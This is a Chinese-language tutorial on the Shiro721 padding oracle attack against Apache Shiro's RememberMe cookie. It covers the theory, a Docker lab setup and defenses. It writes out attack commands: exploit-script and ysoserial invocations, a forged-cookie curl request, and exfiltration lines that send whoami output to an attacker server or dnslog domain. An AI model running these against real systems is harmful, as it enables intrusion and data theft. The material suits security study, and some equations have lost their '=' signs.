Shiro721漏洞原理与实战:Padding Oracle攻击攻破AES-CBC加密
1. 项目概述Shiro721漏洞的来龙去脉Shiro721这个在安全圈里如雷贯耳的名字本质上是一个利用Apache Shiro框架“记住我”RememberMe功能进行攻击的远程代码执行漏洞。和它那位更出名的“前辈”Shiro550不同721的利用门槛要高得多但一旦成功危害性同样致命。简单来说Shiro721是一个基于Padding Oracle攻击的加密问题攻击者不需要知道服务端用于加密RememberMe Cookie的AES密钥而是通过精心构造的请求利用服务端对Cookie解密后填充验证Padding Validation的反馈差异像“盲人摸象”一样一个字节一个字节地“猜”出原始的序列化数据最终构造出恶意的反序列化载荷实现远程命令执行。我第一次在实际渗透测试中遇到Shiro721时感觉就像在解一个复杂的密码锁。你知道锁芯的结构AES-CBC加密但不知道密码密钥。不过这个锁有个“缺陷”每次你拨动一个齿轮发送一个特制的Cookie锁会告诉你这个齿轮是不是卡对了位置通过HTTP响应状态码或响应时间的细微差异。Shiro721的整个流程就是利用这个“缺陷”通过海量的、自动化的试探最终还原出整个密码有效的序列化数据从而打开锁执行任意代码。这个过程虽然繁琐但完全自动化一旦工具链成熟攻击就变得可行。这篇文章我就结合自己的分析和实战踩坑经验带你彻底走一遍Shiro721的攻击流程从原理到实操从工具使用到问题排查让你不仅知道怎么打更明白为什么这么打。2. 核心原理深度拆解为什么Padding Oracle能攻破AES-CBC要理解Shiro721必须吃透AES-CBC加密模式和Padding Oracle攻击的原理。这是整个漏洞的基石跳过这里后面的流程就是空中楼阁。2.1 AES-CBC加密与PKCS5/PKCS7填充Shiro框架在实现“记住我”功能时会将用户的身份信息PrincipalCollection进行Java序列化然后使用AES算法在CBC模式下进行加密最后再进行Base64编码作为Cookie值发送给客户端。AES-CBC模式CBC是“密码块链接”模式。它要求明文在加密前被分割成固定大小的块AES是128位即16字节。如果最后一个明文块不足16字节就需要进行“填充”Padding。Shiro默认使用的是PKCS5Padding在Java中PKCS5Padding和PKCS7Padding在此场景下等价。PKCS7填充规则假设最后一个块缺少N个字节1 ≤ N ≤ 16那么就填充N个值为N的字节。例如如果明文最后一块还差3个字节满16字节就填充0x03 0x03 0x03。如果明文恰好是16字节的整数倍则需要额外添加一个完整的填充块内容为16个0x10即十进制16。解密流程服务端收到Cookie后会反向操作Base64解码 - AES解密 - 验证并移除填充 - 反序列化。关键在于验证填充这一步解密后的数据程序会检查最后一个字节的值假设为N然后检查倒数N个字节是否都等于N。如果验证通过则移除这N个字节得到原始明文如果验证失败则会抛出异常。2.2 Padding Oracle攻击的精髓漏洞的根源在于服务端在填充验证失败时与验证成功时返回给客户端的错误信息可能存在差异。这个差异就是“Oracle”预言机。在Shiro的早期版本中当填充验证失败时可能会抛出特定的异常如BadPaddingException导致HTTP响应状态码为500内部服务器错误而填充验证成功但反序列化失败时可能会抛出其他异常如反序列化错误或者直接清空Cookie视为无效。攻击者通过观察HTTP响应状态码是500还是200/302、响应内容长度、甚至响应时间的微小差别就能判断出一次解密尝试中填充是否“看起来”有效。注意在实际的Shiro721利用中最可靠的“Oracle”往往是响应状态码。一个精心构造的、能通过填充验证但反序列化失败的Payload通常会返回一个“正常”的响应如200状态码和登录页而填充验证失败的Payload则会触发一个异常返回500错误。这个差异就是攻击者赖以生存的信号。2.3 攻击流程的数学描述简化版假设我们有一个加密的CookieCiphertext它由多个16字节的密文块C[0], C[1], C[2]...组成其中C[0]是初始化向量IV。我们的目标是解密出最后一个明文块P[n]。拦截与准备攻击者首先需要获取一个合法的、由目标Shiro服务端生成的“记住我”Cookie。这个Cookie是攻击的起点。构造中间值攻击的核心是计算一个“中间值”I[n]使得I[n] XOR D(C[n]) P[n]其中D()是AES解密函数XOR是异或操作。我们不知道密钥无法直接计算D(C[n])但我们可以利用Oracle。逐字节破解我们伪造一个密文块C[n-1]前一块密文和待解密的块C[n]一起发送。服务端会计算P[n] D(C[n]) XOR C[n-1]。我们的目标是让P[n]的最后一个字节是0x01有效的PKCS7单字节填充。我们暴力枚举C[n-1]的最后一个字节0-255直到服务端返回“填充有效”的信号如非500状态码。此时我们得到方程I[n][15] XOR C[n-1][15] 0x01因此可以算出中间值最后一个字节I[n][15] 0x01 XOR C[n-1][15]。然后我们调整目标让P[n]的最后两个字节都是0x02从而破解出I[n][14]。如此反复最终可以计算出整个I[n]。还原明文一旦得到I[n]因为P[n] I[n] XOR D(C[n])而D(C[n])是固定的由密钥和密文决定但我们有P[n] I[n] XOR Original_C[n-1]这里的Original_C[n-1]是原始密文的前一块。所以我们可以计算出原始明文块P[n] I[n] XOR Original_C[n-1]。通过这种方式从最后一个块开始向前迭代可以解密出整个Cookie对应的原始序列化数据。得到这个数据后攻击者就可以用已知的序列化数据明文和密文去推算如何修改IV或密文块使得解密后的数据变成他们精心构造的恶意序列化对象例如包含Common-Collections利用链的Payload从而实现反序列化漏洞利用。3. 实战环境搭建与工具链解析纸上得来终觉浅绝知此事要躬行。分析Shiro721必须有一个可供测试的环境。不建议直接在公网或未经授权的系统上测试。3.1 漏洞环境搭建最方便的方法是使用Docker快速搭建一个包含漏洞版本Shiro的Web应用。# 搜索并拉取一个常见的Shiro漏洞测试镜像 docker pull medicean/vulapps:s_shiro_1 # 运行容器将8080端口映射到本机 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1访问http://localhost:8080你应该能看到一个简单的登录页面。使用默认账号密码如admin/admin登录并勾选“Remember Me”选项。然后使用浏览器开发者工具F12或Burp Suite等代理工具查看Cookie你应该能看到一个长长的、Base64编码的rememberMe字段。这就是我们的“弹药”。3.2 核心利用工具链Shiro721的利用已经高度工具化。主流工具是shiro_attack系列如shiro_attack_2.2或集成在ysoserial生态中的专门利用脚本。这里我们以一款经典的Python工具为例分析其工作流程。你需要准备以下环境Python 3确保已安装。依赖库requests,pycryptodome(或Crypto)。利用脚本例如shiro_exp.py它通常集成Padding Oracle攻击和Payload生成功能。ysoserial用于生成各种Java反序列化利用链Payload的Jar包。这是生成最终恶意序列化数据的“武器库”。实操心得Python环境下的Crypto库安装有时会很麻烦。如果pip install pycryptodome失败可以尝试先安装系统依赖如在Ubuntu上sudo apt-get install python3-dev build-essential再使用pip install pycryptodomex安装为Cryptodome包代码中需相应修改导入语句。这是第一个常见的坑。3.3 工具工作流程解析一个典型的Shiro721利用工具内部会做以下几件事Padding Oracle检测工具会先发送几个特制的、填充肯定错误和可能正确的Cookie根据响应差异确认目标是否存在可被利用的Padding Oracle。这是攻击的前提。自动化解密工具实现我们第2章描述的算法自动化的、批量地向目标发送海量请求逐步解密出你提供的合法Cookie对应的原始序列化数据。这个过程可能非常耗时取决于网络延迟和Oracle的可靠性可能需要数万甚至数十万次请求。Payload构造与加密使用ysoserial生成指定的利用链如CommonsCollections2,CommonsBeanutils1等的序列化字节码。然后工具会利用解密过程中得到的“关系”计算出一个新的IV或修改第一块密文使得用这个新IV或密文去解密时得到的明文恰好是恶意的序列化数据。这个计算过程是纯数学的不需要密钥。Payload投递与执行将构造好的恶意Cookie发送给目标触发反序列化执行命令。4. 完整攻击流程逐步演示假设我们已经有了目标http://vuln-target.com并且获取到了一个有效的rememberMeCookie值记为VALID_COOKIE_B64。4.1 第一步信息收集与确认首先手动验证Shiro框架和“记住我”功能的存在。# 使用curl简单测试观察响应头或错误页面特征 curl -I http://vuln-target.com/login # 关注是否有 Set-Cookie: rememberMedeleteMe 这样的字段这是Shiro的典型特征。 # 尝试发送一个明显错误的rememberMe Cookie curl -b rememberMeinvalid_base64_string http://vuln-target.com/ # 观察返回状态码。如果是Shiro错误的Cookie可能返回200跳转登录页而格式正确但解密失败的可能在旧版本返回500。更可靠的方法是使用自动化扫描器或Nuclei模板进行初步识别。但手动确认这一步能帮你建立对目标的直观感受。4.2 第二步使用工具进行Padding Oracle攻击解密这里以假设的Python脚本为例展示命令流程python3 shiro_exp.py -u http://vuln-target.com -c VALID_COOKIE_B64 --decrypt参数解释-u: 目标URL。-c: 你捕获到的有效RememberMe Cookie的Base64值。--decrypt: 执行解密模式。工具内部运作与你的观察脚本会开始疯狂发送HTTP请求。你会在终端看到不断滚动的日志显示正在尝试破解哪个字节当前成功率等。这个过程非常漫长。一个128位16字节的块在最坏情况下需要16 * 256 4096次请求来解密。如果有多个块请求量是倍数增长。网络状况好可能几十分钟网络差或Oracle信号不明显可能数小时甚至失败。最终如果成功工具会输出解密后的原始数据通常是一串十六进制Hex格式的Java序列化流。注意事项这是整个流程中最脆弱的一环。大量突发请求极易触发目标的WAFWeb应用防火墙或IPS入侵防御系统导致你的IP被封锁。成熟的工具会加入随机延迟--delay、使用代理池--proxy来规避。在实际测试中务必控制请求速率并做好IP被封的准备。4.3 第三步生成恶意反序列化Payload假设我们通过上一步解密得到了原始序列化数据的Hex字符串。现在我们需要生成一个能执行命令的Payload。首先使用ysoserial生成一个利用链。这里以CommonsBeanutils1链为例执行命令touch /tmp/success在Unix-like系统上创建一个文件作为成功标志。# 生成Payload输出为序列化对象的Hex格式 java -jar ysoserial.jar CommonsBeanutils1 touch /tmp/success | xxd -p | tr -d \n payload.hex现在你有了两个核心数据original_hex: 从目标解密得到的合法序列化数据Hex。malicious_hex: 刚生成的恶意序列化数据Hex。4.4 第四步构造并发送恶意Cookie利用工具基于解密过程中掌握的信息主要是原始明文P、原始密文C和计算出的中间值I之间的关系计算出一个新的IV我们称之为IV。python3 shiro_exp.py -u http://vuln-target.com -c VALID_COOKIE_B64 --encrypt -p payload.hex -o malicious_cookie.txt参数解释--encrypt: 执行加密更准确说是构造模式。-p: 恶意Payload的Hex文件。-o: 输出文件里面会包含构造好的恶意Cookie的Base64值。核心原理工具知道要使服务端用原始密钥解密后得到malicious_hex需要满足malicious_hex I XOR IV对于第一个块。因为I在解密阶段已经算出所以可以反推出IV malicious_hex XOR I。这个IV就是我们要替换原始Cookie中IV部分的新值。对于CBC模式修改第一块密文即IV会影响后续所有明文的解密结果但通过精心计算可以确保整个解密流被“掰”成我们想要的恶意序列化数据。最后发送这个恶意Cookie# 使用curl发送 malicious_b64$(cat malicious_cookie.txt) curl -b rememberMe$malicious_b64 http://vuln-target.com/如果漏洞存在、利用链兼容、命令可执行那么目标服务器就会在相应路径下创建/tmp/success文件。4.5 第五步验证与交互如何验证命令是否执行成功这取决于你执行的命令。无回显命令如上面的touch、ping向自己控制的服务器发送ICMP包、curl或wget访问自己控制的Web服务器记录日志。你需要有一个自己的服务器来接收这些“回连”信号。有回显命令在Linux下可以尝试执行curl http://your-server/?cmd$(whoami)将命令结果通过HTTP参数发送到你的服务器。或者使用dnslog.cn这类平台执行ping $(whoami).xxxx.dnslog.cn通过DNS查询记录来获取命令输出。重要警告在真实渗透测试中执行rm -rf /、reboot、dd等危险命令是绝对禁止的这属于破坏性测试违反职业道德和法律。务必使用无害的命令进行验证如创建文件、发送网络请求等。5. 常见问题、排查技巧与深度防御在实际操作中你会遇到各种各样的问题。下面是我踩过的一些坑和解决方案。5.1 攻击阶段常见问题问题1Padding Oracle检测失败工具提示“可能不存在漏洞”或解密过程始终无进展。可能原因1目标Shiro版本已修复。Shiro在后续版本中修改了异常处理逻辑使填充验证失败和反序列化失败返回几乎相同的错误信息消除了可靠的Oracle。这是最根本的修复。排查确认目标Shiro版本。如果版本 1.4.2Shiro721可能已失效。可能原因2网络环境干扰。中间有WAF/IPS篡改或丢弃了请求或者目标应用本身有速率限制、请求校验。排查先用浏览器正常访问再用工具发送一个最简单的错误Cookie对比响应。使用--proxy参数通过代理发送观察流量是否被拦截。在工具中增加--delay 11秒延迟降低请求频率。可能原因3Cookie格式或编码问题。抓取的Cookie可能包含其他字符或者Base64解码不正确。排查确保传递给工具的Cookie是纯Base64字符串没有引号或其他HTTP头部分。手动用Python的base64.b64decode尝试解码看是否报错。可能原因4工具与目标环境不兼容。某些工具可能对特定Shiro版本或中间件环境适配不好。排查尝试换用其他开源利用工具如shiro_attack_2.2的GUI版或命令行版或者使用集成在Burp Suite插件中的测试功能。问题2解密成功但生成的恶意Cookie无法触发命令执行。可能原因1利用链Gadget Chain不兼容。目标服务器的ClassPath中可能没有包含ysoserial所用利用链所需的库如commons-collections, commons-beanutils的特定版本。排查这是最常见的原因。需要信息收集判断目标可能使用的框架Spring, Struts2等和库版本。尝试换用不同的利用链CommonsCollections2、CommonsBeanutils1、Jdk7u21、C3P0等。ysoserial提供了很多链一条一条试。可能原因2命令执行被限制。目标服务器可能运行在受限环境如Docker容器、无bash的Alpine Linux、Java安全管理器限制等导致Runtime.exec()执行失败。排查尝试执行最简单的命令如echo 123或sleep 5通过响应时间判断。尝试使用编码命令或纯Java代码的Payload。可能原因3Payload长度问题。恶意序列化数据可能过长超过HTTP头或服务器处理限制。排查尝试生成更短的命令或者使用压缩链如CommonsCollections6或者使用ysoserial的-x参数对Payload进行GZIP压缩需要利用链支持。5.2 防御视角如何发现和修复Shiro721作为防御方你更需要了解如何防护。升级升级升级将Apache Shiro升级到最新安全版本1.4.2及以上这是最有效、最根本的解决方案。新版本使用了AES-GCM等更安全的加密模式并统一了错误处理。密钥强化如果你必须使用旧版本请确保shiro.ini或配置文件中securityManager.rememberMeManager.cipherKey的密钥是足够强128/256位、随机生成的而不是使用默认或弱密钥。定期更换密钥。网络层防护WAF/IPS规则部署能检测Padding Oracle攻击模式的规则。这种攻击的特征是短时间内向同一URL发送大量仅Cookie不同的请求。速率限制在应用或网关层对/或登录相关路径的请求进行速率限制增加攻击成本。监控与告警监控服务器日志关注短时间内大量500错误或异常的“记住我”Cookie解密失败日志。建立相应的安全告警机制。禁用“记住我”功能如果业务不需要直接在配置中关闭rememberMe功能。5.3 高级利用与绕过技巧仅作研究在一些严格的环境中攻击者可能会尝试以下方法时间侧信道攻击如果状态码差异被抹平但填充验证和反序列化的处理时间有细微差别微秒级理论上仍可构成时间Oracle。但这需要极其稳定的网络环境和大量的统计分析实操难度极大。结合其他反序列化链不断挖掘新的、不依赖于常见第三方库的利用链如基于JDK内部类的链以应对目标环境缺少特定库的情况。内存马注入在能够执行命令后进一步向服务器注入Java内存马如Filter型、Servlet型、Agent型获得持久的、隐蔽的后门。这超出了单纯漏洞利用的范围属于后续渗透阶段。Shiro721的整个流程就像一场精密的密码学破解演练。它深刻地揭示了“细节决定安全”的道理——一个看似微不足道的错误信息差异在密码学原理的放大下足以导致整个身份认证体系的崩塌。对于开发者它是一次关于安全编码和错误处理的警示对于安全研究者它是一个理解加密协议实现缺陷的经典案例对于防御者它是督促及时更新和深度防御的鞭策。通过亲手复现一遍这个流程你会对应用安全有更立体、更深刻的认识。